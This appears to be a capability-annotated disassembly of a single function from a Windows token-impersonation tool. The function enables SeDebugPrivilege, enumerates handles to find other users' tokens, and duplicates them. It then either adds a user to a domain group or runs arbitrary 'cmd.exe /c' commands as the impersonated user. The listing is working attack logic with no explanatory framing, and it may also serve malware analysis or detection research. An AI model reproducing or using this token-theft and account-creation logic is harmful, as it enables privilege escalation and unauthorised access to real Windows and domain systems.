Function at 0x1400641cc
Capabilities:
Acquire debug privileges
Add user account
Add user account to group
Create process on windows
Impersonate user

Disassembly:
jmp 0x14006b660
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
push rbp
push rsi
push rdi
mov eax, 0x18e10
call fcn.14006487f
sub rsp, rax
lea rbp, [rsp + 0x60]
lea rdi, [rsp + 0x60]
mov ecx, 0x61ec
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov ecx, dword [rsp + 0x18e38]
mov rax, qword [0x140169008]
xor rax, rbp
mov qword [rbp + 0x18da8], rax
lea rcx, [0x14017a0b8]
call fcn.140066f71
cmp dword [rbp + 0x18dd0], 2
jl 0x14006b750
mov eax, 8
imul rax, rax, 1
lea rdx, str.help
mov rcx, qword [rbp + 0x18dd8]
mov rcx, qword [rcx + rax]
call fcn.140065793
test eax, eax
je 0x14006b750
mov eax, 8
imul rax, rax, 1
lea rdx, str.adduser
mov rcx, qword [rbp + 0x18dd8]
mov rcx, qword [rcx + rax]
call fcn.140065793
test eax, eax
je 0x14006b755
mov eax, 8
imul rax, rax, 1
lea rdx, str.exec
mov rcx, qword [rbp + 0x18dd8]
mov rcx, qword [rcx + rax]
call fcn.140065793
test eax, eax
je 0x14006b755
mov eax, 8
imul rax, rax, 1
lea rdx, str.list
mov rcx, qword [rbp + 0x18dd8]
mov rcx, qword [rcx + rax]
call fcn.140065793
test eax, eax
je 0x14006b755
call fcn.140066f67
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov r8d, eax
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rbp + 0x48], rax
lea r8, [rbp + 8]
mov edx, 0x28
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
lea rax, [rbp + 0x24]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x19
mov rcx, qword [rbp + 8]
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
mov eax, dword [rbp + 0x24]
mov edx, eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov qword [rbp + 0x68], rax
lea rax, [rbp + 0x24]
mov qword [rsp + 0x20], rax
mov r9d, dword [rbp + 0x24]
mov r8, qword [rbp + 0x68]
mov edx, 0x19
mov rcx, qword [rbp + 8]
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
mov rax, qword [rbp + 0x68]
mov rcx, qword [rax]
call qword [sym.imp.ADVAPI32.dll_GetSidSubAuthorityCount]
movzx eax, byte [rax]
dec eax
movzx eax, al
mov edx, eax
mov rax, qword [rbp + 0x68]
mov rcx, qword [rax]
call qword [sym.imp.ADVAPI32.dll_GetSidSubAuthority]
mov eax, dword [rax]
mov dword [rbp + 0x84], eax
cmp dword [rbp + 0x84], 0x3000
jae 0x14006b81f
lea rcx, str.Low_privilege__cannot_use_the_impersonation_technique..._n
call fcn.1400656cb
mov eax, 1
jmp 0x14006c34f
lea rcx, str.____Enabling_SeAssignPrimaryToken_n
call fcn.1400656cb
lea r8, [rbp + 0xd8]
lea rdx, str.SeAssignPrimaryTokenPrivilege
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
test eax, eax
jne 0x14006b853
lea rcx, str._t____SeAssignPrimaryToken_not_owned__n
call fcn.1400656cb
jmp 0x14006b85f
lea rcx, str._t___SeAssignPrimaryToken_owned__n
call fcn.1400656cb
mov dword [rbp + 0xa8], 1
mov eax, 0xc
imul rax, rax, 0
mov rcx, qword [rbp + 0xd8]
mov qword [rbp + rax + 0xac], rcx
mov eax, 0xc
imul rax, rax, 0
mov dword [rbp + rax + 0xb4], 2
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, 0x10
lea r8, [rbp + 0xa8]
xor edx, edx
mov rcx, qword [rbp + 8]
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
jne 0x14006b8da
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str._t____SeAssignPrimaryToken_adjust_token_failed:__d_n
call fcn.1400656cb
jmp 0x14006b8e6
lea rcx, str._t___SeAssignPrimaryToken_enabled__n
call fcn.1400656cb
lea rcx, str.____Enabling_SeDebugPrivilege_n
call fcn.1400656cb
lea r8, [rbp + 0xf8]
lea rdx, str.SeDebugPrivilege
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
test eax, eax
jne 0x14006b91a
lea rcx, str._t____SeDebugPrivilege_not_owned__n
call fcn.1400656cb
jmp 0x14006b926
lea rcx, str._t___SeDebugPrivilege_owned__n
call fcn.1400656cb
mov dword [rbp + 0xa8], 1
mov eax, 0xc
imul rax, rax, 0
mov rcx, qword [rbp + 0xf8]
mov qword [rbp + rax + 0xac], rcx
mov eax, 0xc
imul rax, rax, 0
mov dword [rbp + rax + 0xb4], 2
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, 0x10
lea r8, [rbp + 0xa8]
xor edx, edx
mov rcx, qword [rbp + 8]
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
jne 0x14006b9a1
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str._t____SeDebugPrivilege_adjust_token_failed:__d_n
call fcn.1400656cb
jmp 0x14006b9ad
lea rcx, str._t___SeDebugPrivilege_enabled__n
call fcn.1400656cb
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
lea rdx, [rbp + 0x114]
mov ecx, eax
call qword [sym.imp.KERNEL32.dll_ProcessIdToSessionId]
mov dword [rbp + 0x134], 0
mov dword [rbp + 0x17874], 0
lea rcx, str.ntdll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
lea rdx, str.NtQuerySystemInformation
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x17898], rax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8d, 0xa00000
mov edx, 8
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov qword [rbp + 0x178b8], rax
lea r9, [rbp + 0x134]
mov r8d, 0xa00000
mov rdx, qword [rbp + 0x178b8]
mov ecx, 0x10
call qword [rbp + 0x17898]
mov dword [rbp + 0x178d4], 0
jmp 0x14006ba68
mov eax, dword [rbp + 0x178d4]
inc eax
mov dword [rbp + 0x178d4], eax
mov rax, qword [rbp + 0x178b8]
mov eax, dword [rax]
cmp dword [rbp + 0x178d4], eax
jae 0x14006bd2c
mov eax, dword [rbp + 0x178d4]
imul rax, rax, 0x18
lea rcx, [rbp + 0x18d88]
mov rdx, qword [rbp + 0x178b8]
mov rdi, rcx
lea rsi, [rdx + rax + 8]
mov ecx, 0x18
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x178f8]
lea rcx, [rbp + 0x18d88]
mov rdi, rax
mov rsi, rcx
mov ecx, 0x18
rep movsb byte [rdi], byte [rsi]
movzx eax, word [rbp + 0x178f8]
mov r8d, eax
xor edx, edx
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rbp + 0x17928], rax
cmp qword [rbp + 0x17928], 0xffffffffffffffff
jne 0x14006baf9
mov rcx, qword [rbp + 0x17928]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x14006ba5a
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
movzx ecx, word [rbp + 0x178fe]
mov dword [rsp + 0x30], 2
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
lea r9, [rbp + 0x17948]
mov r8, rax
mov edx, ecx
mov rcx, qword [rbp + 0x17928]
call qword [sym.imp.KERNEL32.dll_DuplicateHandle]
test eax, eax
jne 0x14006bb4d
mov rcx, qword [rbp + 0x17928]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x14006ba5a
mov ecx, 0x2000
call fcn.140065c3e
mov qword [rbp + 0x17968], rax
mov edx, 2
mov rcx, qword [rbp + 0x17948]
call fcn.140064294
lea rdx, str.Token
mov rcx, rax
call fcn.140065793
test eax, eax
je 0x14006bba1
mov rcx, qword [rbp + 0x17928]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x17948]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x14006ba5a
mov rax, qword [rbp + 0x17948]
mov qword [rbp + 0x17990], rax
lea rcx, [rbp + 0x17990]
call fcn.14006695e
lea rcx, [rbp + 0x17990]
call fcn.140066eb3
lea rcx, [rbp + 0x17990]
call fcn.140066ef4
lea rdx, str.TokenPrimary
lea rcx, [rbp + 0x17bbe]
call fcn.140065793
test eax, eax
je 0x14006bbf8
lea rcx, [rbp + 0x17990]
call fcn.14006509a
jmp 0x14006bc10
lea r8, [0x1401381b0]
mov edx, 0x1e
lea rcx, [rbp + 0x17c86]
call fcn.14006564e
mov dword [rbp + 0x17d64], 0
mov dword [rbp + 0x17d84], 0
jmp 0x14006bc34
mov eax, dword [rbp + 0x17d84]
inc eax
mov dword [rbp + 0x17d84], eax
mov eax, dword [rbp + 0x17874]
cmp dword [rbp + 0x17d84], eax
jg 0x14006bcd0
movsxd rax, dword [rbp + 0x17d84]
imul rax, rax, 0x3c0
lea rax, [rbp + rax + 0x170]
lea rdx, [rbp + 0x179a0]
mov rcx, rax
call fcn.140065793
test eax, eax
jne 0x14006bccb
movsxd rax, dword [rbp + 0x17d84]
imul rax, rax, 0x3c0
lea rax, [rbp + rax + 0x38e]
lea rdx, [rbp + 0x17bbe]
mov rcx, rax
call fcn.140065793
test eax, eax
jne 0x14006bccb
movsxd rax, dword [rbp + 0x17d84]
imul rax, rax, 0x3c0
lea rax, [rbp + rax + 0x456]
lea rdx, [rbp + 0x17c86]
mov rcx, rax
call fcn.140065793
test eax, eax
jne 0x14006bccb
mov dword [rbp + 0x17d64], 1
jmp 0x14006bc26
cmp dword [rbp + 0x17d64], 0
jne 0x14006bd1a
mov eax, dword [rbp + 0x17874]
mov dword [rbp + 0x17998], eax
movsxd rax, dword [rbp + 0x17874]
imul rax, rax, 0x3c0
lea rcx, [rbp + 0x17990]
lea rdi, [rbp + rax + 0x160]
mov rsi, rcx
mov ecx, 0x3c0
rep movsb byte [rdi], byte [rsi]
mov eax, dword [rbp + 0x17874]
inc eax
mov dword [rbp + 0x17874], eax
mov rcx, qword [rbp + 0x17928]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x14006ba5a
mov eax, 8
imul rax, rax, 1
lea rdx, str.list
mov rcx, qword [rbp + 0x18dd8]
mov rcx, qword [rcx + rax]
call fcn.140065793
test eax, eax
jne 0x14006be1c
lea rcx, str._n___Listing_available_tokens_n
call fcn.1400656cb
mov dword [rbp + 0x17da4], 0
jmp 0x14006bd7a
mov eax, dword [rbp + 0x17da4]
inc eax
mov dword [rbp + 0x17da4], eax
mov eax, dword [rbp + 0x17874]
cmp dword [rbp + 0x17da4], eax
jge 0x14006be17
movsxd rax, dword [rbp + 0x17da4]
imul rax, rax, 0x3c0
lea rax, [rbp + rax + 0x170]
movsxd rcx, dword [rbp + 0x17da4]
imul rcx, rcx, 0x3c0
lea rcx, [rbp + rcx + 0x456]
movsxd rdx, dword [rbp + 0x17da4]
imul rdx, rdx, 0x3c0
lea rdx, [rbp + rdx + 0x38e]
movsxd rdi, dword [rbp + 0x17da4]
imul rdi, rdi, 0x3c0
movsxd rsi, dword [rbp + 0x17da4]
imul rsi, rsi, 0x3c0
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
mov r9, rdx
mov r8d, dword [rbp + rdi + 0x16c]
mov edx, dword [rbp + rsi + 0x168]
lea rcx, str._ID:__d__SESSION:__d___ws___ws__User:__ws_n
call fcn.1400656cb
jmp 0x14006bd6c
jmp 0x14006c34d
mov eax, 8
imul rax, rax, 1
lea rdx, str.adduser
mov rcx, qword [rbp + 0x18dd8]
mov rcx, qword [rcx + rax]
call fcn.140065793
test eax, eax
jne 0x14006be49
cmp dword [rbp + 0x18dd0], 7
je 0x14006be7e
mov eax, 8
imul rax, rax, 1
lea rdx, str.exec
mov rcx, qword [rbp + 0x18dd8]
mov rcx, qword [rcx + rax]
call fcn.140065793
test eax, eax
jne 0x14006c348
cmp dword [rbp + 0x18dd0], 4
jne 0x14006c348
mov eax, 8
imul rax, rax, 2
mov rcx, qword [rbp + 0x18dd8]
mov rcx, qword [rcx + rax]
call fcn.140066a53
mov dword [rbp + 0x17dc4], eax
mov dword [rbp + 0x17de4], 0
jmp 0x14006beb7
mov eax, dword [rbp + 0x17de4]
inc eax
mov dword [rbp + 0x17de4], eax
mov eax, dword [rbp + 0x17874]
cmp dword [rbp + 0x17de4], eax
jge 0x14006c346
movsxd rax, dword [rbp + 0x17de4]
imul rax, rax, 0x3c0
mov ecx, dword [rbp + 0x17dc4]
cmp dword [rbp + rax + 0x168], ecx
jne 0x14006c341
movsxd rax, dword [rbp + 0x17de4]
imul rax, rax, 0x3c0
lea rcx, [rbp + 0x17e08]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], 1
mov r9d, 2
xor r8d, r8d
mov edx, 0xf01ff
mov rcx, qword [rbp + rax + 0x160]
call qword [sym.imp.ADVAPI32.dll_DuplicateTokenEx]
test eax, eax
je 0x14006c326
mov eax, 8
imul rax, rax, 1
lea rdx, str.adduser
mov rcx, qword [rbp + 0x18dd8]
mov rcx, qword [rcx + rax]
call fcn.140065793
test eax, eax
jne 0x14006c130
movsxd rax, dword [rbp + 0x17de4]
imul rax, rax, 0x3c0
lea rax, [rbp + rax + 0x170]
mov rdx, rax
lea rcx, str.___Impersonating__ws_n
call fcn.1400656cb
mov rcx, qword [rbp + 0x17e08]
call qword [sym.imp.ADVAPI32.dll_ImpersonateLoggedOnUser]
test eax, eax
jne 0x14006bfac
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____Impersonation_failed_with_error:__d
call fcn.1400656cb
mov eax, 1
jmp 0x14006c34f
mov eax, 8
imul rax, rax, 5
mov rcx, qword [rbp + 0x18dd8]
mov rax, qword [rcx + rax]
mov qword [rbp + 0x17e28], rax
mov eax, 8
imul rax, rax, 6
mov rcx, qword [rbp + 0x18dd8]
mov rax, qword [rcx + rax]
mov qword [rbp + 0x17e48], rax
mov r8d, 0x38
xor edx, edx
lea rcx, [rbp + 0x17e68]
call fcn.140066355
mov r8d, 8
xor edx, edx
lea rcx, [rbp + 0x17eb8]
call fcn.140066355
mov eax, 8
imul rax, rax, 3
mov rcx, qword [rbp + 0x18dd8]
mov rax, qword [rcx + rax]
mov qword [rbp + 0x17e68], rax
mov eax, 8
imul rax, rax, 4
mov rcx, qword [rbp + 0x18dd8]
mov rax, qword [rcx + rax]
mov qword [rbp + 0x17e70], rax
mov dword [rbp + 0x17e7c], 1
mov qword [rbp + 0x17e80], 0
mov qword [rbp + 0x17e88], 0
mov dword [rbp + 0x17e90], 0x10201
mov qword [rbp + 0x17e98], 0
mov r8, qword [rbp + 0x17e48]
mov rdx, qword [rbp + 0x17e68]
lea rcx, str.___Adding_user__ls_on__ls_n
call fcn.1400656cb
xor r9d, r9d
lea r8, [rbp + 0x17e68]
mov edx, 1
mov rcx, qword [rbp + 0x17e48]
call fcn.140065ce8
test eax, eax
je 0x14006c0cc
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____Add_user_failed_with_error:__d_n
call fcn.1400656cb
mov eax, 1
jmp 0x14006c34f
mov r8, qword [rbp + 0x17e28]
mov rdx, qword [rbp + 0x17e68]
lea rcx, str.___Adding_user__ws_to_domain_group__ws_n
call fcn.1400656cb
mov r8, qword [rbp + 0x17e68]
mov rdx, qword [rbp + 0x17e28]
mov rcx, qword [rbp + 0x17e48]
call fcn.1400652e3
test eax, eax
je 0x14006c12a
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
mov rdx, qword [rbp + 0x17e48]
lea rcx, str.____Add_user_in_domain__ws_failed_with_error:__d
call fcn.1400656cb
mov eax, 1
jmp 0x14006c34f
call qword [sym.imp.ADVAPI32.dll_RevertToSelf]
mov eax, 8
imul rax, rax, 1
lea rdx, str.exec
mov rcx, qword [rbp + 0x18dd8]
mov rcx, qword [rcx + rax]
call fcn.140065793
test eax, eax
jne 0x14006c317
lea rax, [rbp + 0x17ee0]
mov rdi, rax
xor eax, eax
mov ecx, 0x68
rep stosb byte [rdi], al
lea rax, [rbp + 0x17f68]
mov rdi, rax
xor eax, eax
mov ecx, 0x18
rep stosb byte [rdi], al
mov eax, 8
imul rax, rax, 3
mov rcx, qword [rbp + 0x18dd8]
mov r9, qword [rcx + rax]
lea r8, str.cmd.exe__c__ws
mov edx, 0x3e8
lea rcx, [rbp + 0x17fa0]
call fcn.1400662ba
cmp dword [rbp + 0x84], 0x4000
jb 0x14006c284
mov r9d, 4
lea r8, [rbp + 0x114]
mov edx, 0xc
mov rcx, qword [rbp + 0x17e08]
call qword [sym.imp.ADVAPI32.dll_SetTokenInformation]
test eax, eax
jne 0x14006c1f1
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____Couldnt_change_token_session_id__error:__d__n
call fcn.1400656cb
movsxd rax, dword [rbp + 0x17de4]
imul rax, rax, 0x3c0
lea rax, [rbp + rax + 0x170]
lea r8, [rbp + 0x17fa0]
mov rdx, rax
lea rcx, str.___Impersonating__ws_and_launching_command___ws__via_CreateProcessAsUserW_n
call fcn.1400656cb
lea rax, [rbp + 0x17f68]
mov qword [rsp + 0x50], rax
lea rax, [rbp + 0x17ee0]
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [rbp + 0x17fa0]
xor edx, edx
mov rcx, qword [rbp + 0x17e08]
call qword [sym.imp.ADVAPI32.dll_CreateProcessAsUserW]
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [rbp + 0x84], 0x3000
jb 0x14006c317
cmp dword [rbp + 0x84], 0x4000
jae 0x14006c317
movsxd rax, dword [rbp + 0x17de4]
imul rax, rax, 0x3c0
lea rax, [rbp + rax + 0x170]
lea r8, [rbp + 0x17fa0]
mov rdx, rax
lea rcx, str.___Impersonating__ws_and_launching_command___ws__via_CreateProcessWithTokenW_n
call fcn.1400656cb
lea rax, [rbp + 0x17f68]
mov qword [rsp + 0x40], rax
lea rax, [rbp + 0x17ee0]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
lea r9, [rbp + 0x17fa0]
xor r8d, r8d
xor edx, edx
mov rcx, qword [rbp + 0x17e08]
call qword [sym.imp.ADVAPI32.dll_CreateProcessWithTokenW]
mov rcx, qword [rbp + 0x17e08]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x14006c341
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____Duplication_failed_with_error:__d_n
call fcn.1400656cb
mov eax, 1
jmp 0x14006c34f
jmp 0x14006bea9
jmp 0x14006c34d
call fcn.140066f67
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x60]
lea rdx, [0x140137a80]
call fcn.140066710
mov rax, rdi
mov rcx, qword [rbp + 0x18da8]
xor rcx, rbp
call fcn.140065743
lea rsp, [rbp + 0x18db0]
pop rdi
pop rsi
pop rbp
ret